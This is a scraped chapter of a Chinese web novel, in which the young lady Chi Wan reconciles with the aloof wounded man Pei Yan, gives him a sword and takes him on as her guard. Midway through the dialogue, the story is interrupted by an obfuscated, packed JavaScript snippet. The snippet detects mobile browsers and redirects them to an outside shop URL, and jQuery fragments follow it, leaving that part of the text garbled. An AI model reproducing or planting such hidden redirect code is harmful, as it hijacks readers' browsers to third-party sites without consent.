默认冷灰
24号文字
方正启体

4. 风云

作者:和影本书字数:K更新时间:
    腊月廿八,连续下了几日的大雪终于停了。


    清晨,阳光破云而出,照得满院积雪刺眼地白。


    府里更加忙碌,池婉带着汀雪去库房取新到的绸缎,准备给祖母裁制新春的衣裳。


    路过西厢后的小园时,她脚步不自觉放缓。


    园中残雪未消,那棵老梅树下,竟立着一个人。


    池婉蓦地停住脚步。


    是裴衍。


    他只穿着府中为他准备的青色旧棉袍,身形挺拔却单薄,墨发未束,随意散在肩头。


    此刻,他正仰头望着枝头凌寒绽放的红梅,侧脸在雪光映照下,清晰得近乎凛冽,也更显苍白,只是脖颈处的伤痕也愈发明显。


    裴衍确实生得极好,眉目如墨画,只是那双眼睛过于沉寂,仿佛古井深潭,映不出半点天光云影,也映不出眼前灼灼的梅花。


    他似乎察觉到有人,目光倏地转来。


    池婉怔怔地看着,直到汀雪轻轻扯了扯她的袖子:“小姐……”


    她这才回神,心头涌上一阵难言的尴尬和懊恼,急忙迅速离开。


    自从那日送羹后,裴衍对人愈发疏离,她总觉得两个人隔着一道跨不过的鸿沟。


    裴衍就像一座堵冷冰冰的铁笼,任何人都无法进入。


    后来,她干脆不管了,只管躲着他,眼不见为净。


    绯色披风在雪地里划出一道鲜亮的痕迹。


    留下裴衍孤寂站在原地。


    他等了一会儿,看见那道身影消失,随后垂下眼,转身,慢慢走回西厢。


    -


    书房中。


    池婉将近日的情形全部和盘托出,说到最后,声音里带着点委屈,连眼圈都红了,“爹爹,女儿并非不能容人……只是他一点都不领情,女儿也不知该如何是好……”


    池巍山坐在书案后,听完,并未如她所料那般动怒。


    他放下手中的公文,看向女儿:“婉儿,你说完了?”


    池婉绞着手中的帕子,低了头。“嗯……”


    池巍山语气稍缓,但目光依旧沉稳有力,“婉儿,爹且问你,池家祖训是什么你可记得?”


    池婉一怔,下意识说着:“不慕虚荣,不畏权贵,救死扶伤,以济善惠……”


    “那你告诉我,”池巍山声音沉缓,“当初你愿意搭救裴衍,是念他知恩图报吗?”


    “自然不是……”池婉噎住。“是他那时重伤危急……”


    “是了。”


    池巍山起身,走到窗边,望着院中积雪,“我们施恩,救人,不是为了换取对方的感激涕零。若只因他举止不太符合我们心中的要求,便心生悔意,那我们的善,未免也太廉价了些。”


    池婉抿着唇,依旧沉默着。


    池巍山转身,目光落在女儿脸上,带着深意,“婉儿,裴衍这个人是有些冷僻,可或许他并非有意,而是环境造就。”


    池婉猛地抬头。


    “这或许不是冒犯,”池巍山缓缓道,“而是他也不知该如何去做。”


    池婉抬起眼,声音闷闷的:“可他……有点不知好歹……”


    池巍山走近,拍了拍她的肩,“爹爹相信,以我家婉儿的聪慧跟善良,一定可以处理好这件事的。只是现在你被他那副冷冰冰的样子给吓到了,对不对?”


    池婉抬起头望着池巍山,“真的吗?爹爹觉得婉儿可以?”


    “当然了。”池巍山适时递上一个锦盒,打开,里面是一对小巧精致的银丝手镯,边缘缀着细软的兔毛。


    “这是爹爹这次给你新年添置的,看看可喜欢?”


    银丝手镯触手温润,兔毛轻拂手背。


    池婉看着父亲殷切的眼神,又想到祖母病中仍为自己操心,那股任性之气渐渐消弭。


    她低下头,轻声说着,“礼物女儿很喜欢。爹爹放心,女儿知道该怎么做了。”


    回想起刚才裴衍那副苍白的面容,池婉那份不忍终究占了上风。


    罢了,既然留下他,她是主家就先让一步。


    -


    裴衍没有回厢房。


    他找了一处人少的青石台阶跪下。


    寒风如刀,刮在脸上,身上。


    旧伤在冷意刺激下开始叫嚣,针扎似的疼。


    但他跪得笔直,一动不动。


    膝盖下的石板冰冷坚硬,寒气一丝丝渗进来,很快便冻得麻木。


    池婉回来时远远看见,脚步顿了顿,看了许久,终是没有过去。


    -


    次日午后。


    池婉在炭盆前翻阅完好友送来的信件,便让汀雪去叫裴衍。


    她坐在花厅里,面前摆着几样东西:一套崭新的玄色棉袍,一罐还未开封的枇杷膏,还有一个长条形的锦盒。


    她努力让自己看起来镇定,甚至有些冷淡。


    裴衍来了。


    他依旧穿着那身旧青袍,沉默地立在阶下,微微垂着眼。


    脸色比昨日在雪地里还要白上几分,嘴唇也没什么血色。


    池婉端起茶盏,抿了一口,才开口,语气刻意放得平淡:“叫你来,是有几样东西给你。”


    她示意汀雪将棉袍和枇杷膏拿过去。


    “棉袍是府里冬日按例给护卫添置的,你既在府中,也该有一份。枇杷膏……”她顿了顿,“陈爷爷前日诊脉,说你肺脉仍弱,冬日干燥,用这个润着好些。”


    裴衍抬起眼,看了看递到面前的东西,又看向她。


    “都是府中早备下的,可不是单独给你的。”


    池婉被他看得有些不自在,别开视线,亲自捧起那个长条锦盒,站起身,走到他面前。


    锦盒打开,里面是一柄连鞘长剑。


    剑鞘古朴,乌木制成,上面镌刻着简单的云纹,没有任何宝石镶嵌,却自有一种沉肃之气。


    “这是爹爹为你准备的佩剑。”池婉将剑平举,递到他面前,声音比方才郑重了些,“爹爹说,既留在府中,该有防身之物。”


    握紧剑,裴衍眼神略有缓和。


    只听见噗通一下,裴衍直接跪了下去,没有丝毫犹豫。


    “裴衍该死,惹小姐生气。”


    这架势直接给池婉吓到了,她愣了一下,继而赶紧道。


    “你……你这是干什么啊?快起来,别动不动就跪啊,你的伤还没好,万一跪坏了,又得请陈爷爷来一趟!”


    “小姐当真不怪?”


    裴衍的表情有些局促。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092176|195477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “哎,不怪了,爹爹都教训过我了,都让你留下了,不全是你的问题。”


    “快起来吧。”


    说完,裴衍小心翼翼站了起来,此刻,他整个人脸色有些苍白,站在寒风中整个人更显单薄了。


    “年节府中事务多,你若需要什么,或是觉得哪里不妥,可直接告诉外头值守的人,或者……让汀雪传话给我也行。”


    她语气放缓,“父亲既留你在府中,便希望你能安心将养。过往若有招待不周之处,还请勿怪。”


    裴衍静静地听着,目光落在她脸上,而后,竟对着池婉俯身,极其郑重行了一礼。


    池婉微微怔住,随即心中松快了些许。


    “那……你就在府中好好休息。对了,西厢房那边不利于养伤,不如你搬到……”


    池婉一时没想好裴衍的住处,“你就住我兄长那屋旁边吧,正好隔着一道门。”


    裴衍正转身要走,忽而听见池婉的声音响起。


    “对了,”池婉忽而叫住了他,语气有些犹豫,“一直都没有问过你,愿不愿意做我的侍卫。”


    这次,裴衍的眼眸中,陡然亮了一分。


    见他许久不开口,池婉也不再强求,掀开门帘就要进去。


    下一刻,就听见他哑声道:“愿。”


    日光越过屋檐,斜斜落在他半边脸庞和手中的剑上,将那苍白染上些许暖色。


    池婉眼神忽而亮了,嘴角轻轻扬起,又迅速抿住,她立刻挥了挥手。


    他抬眼,目光快速掠过池婉的脸,又落回剑鞘上。


    “云舒,你跟着裴公子去收拾一下东西,趁着新年之前搬进去。”


    云舒点了点头,“是,小姐。”


    “叫我裴衍就行。”


    裴衍的话简短,却让池婉和云舒都微微一怔。


    云舒看了看自家小姐,池婉冲她轻轻点头,示意照做。


    “好,裴……裴衍,请随我来。”


    -


    晚香堂里,药香与暖意依旧。


    池老夫人今日精神似乎好了些,正半靠在引枕上,由丫鬟伺候着用一碗杏仁茶。


    见池婉进来,脸上便带了笑。


    “祖母安好。”


    池婉上前行了礼,在榻边绣凳坐下,接过丫鬟手中的茶碗,试了试温度才递给祖母,“刚去看了下,让人把西厢的裴……裴衍搬到前院东厢的静尘轩去了。”


    老夫人闻言,慢慢咽下一口杏仁茶,将碗递给丫鬟,拉过池婉的手,细细端详着她的脸色:“哦?前段时间你不是还在生气么?”


    池婉垂眼:“爹爹教训过了,救人救彻,是咱们的本分。他……瞧着不像坏人,只是孤僻。既留下养伤,还不如搬到静尘轩去,那向阳敞亮,离外院也近。”


    老夫人点点头,目光深远:“你能这么想,祖母就放心了。你爹说得对,观其人,察其行。这人瞧着是有些孤僻,但眼神清正,不是奸邪之辈。只是……”


    她顿了顿,压低声音,“这浑身透着股生人勿近的寒气,过往怕是不简单。你既让他近身安置,平日来往,记得分寸,也让底下人警醒着些。”


    “孙女晓得了。”池婉认真应下,“祖母放心,我会注意的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)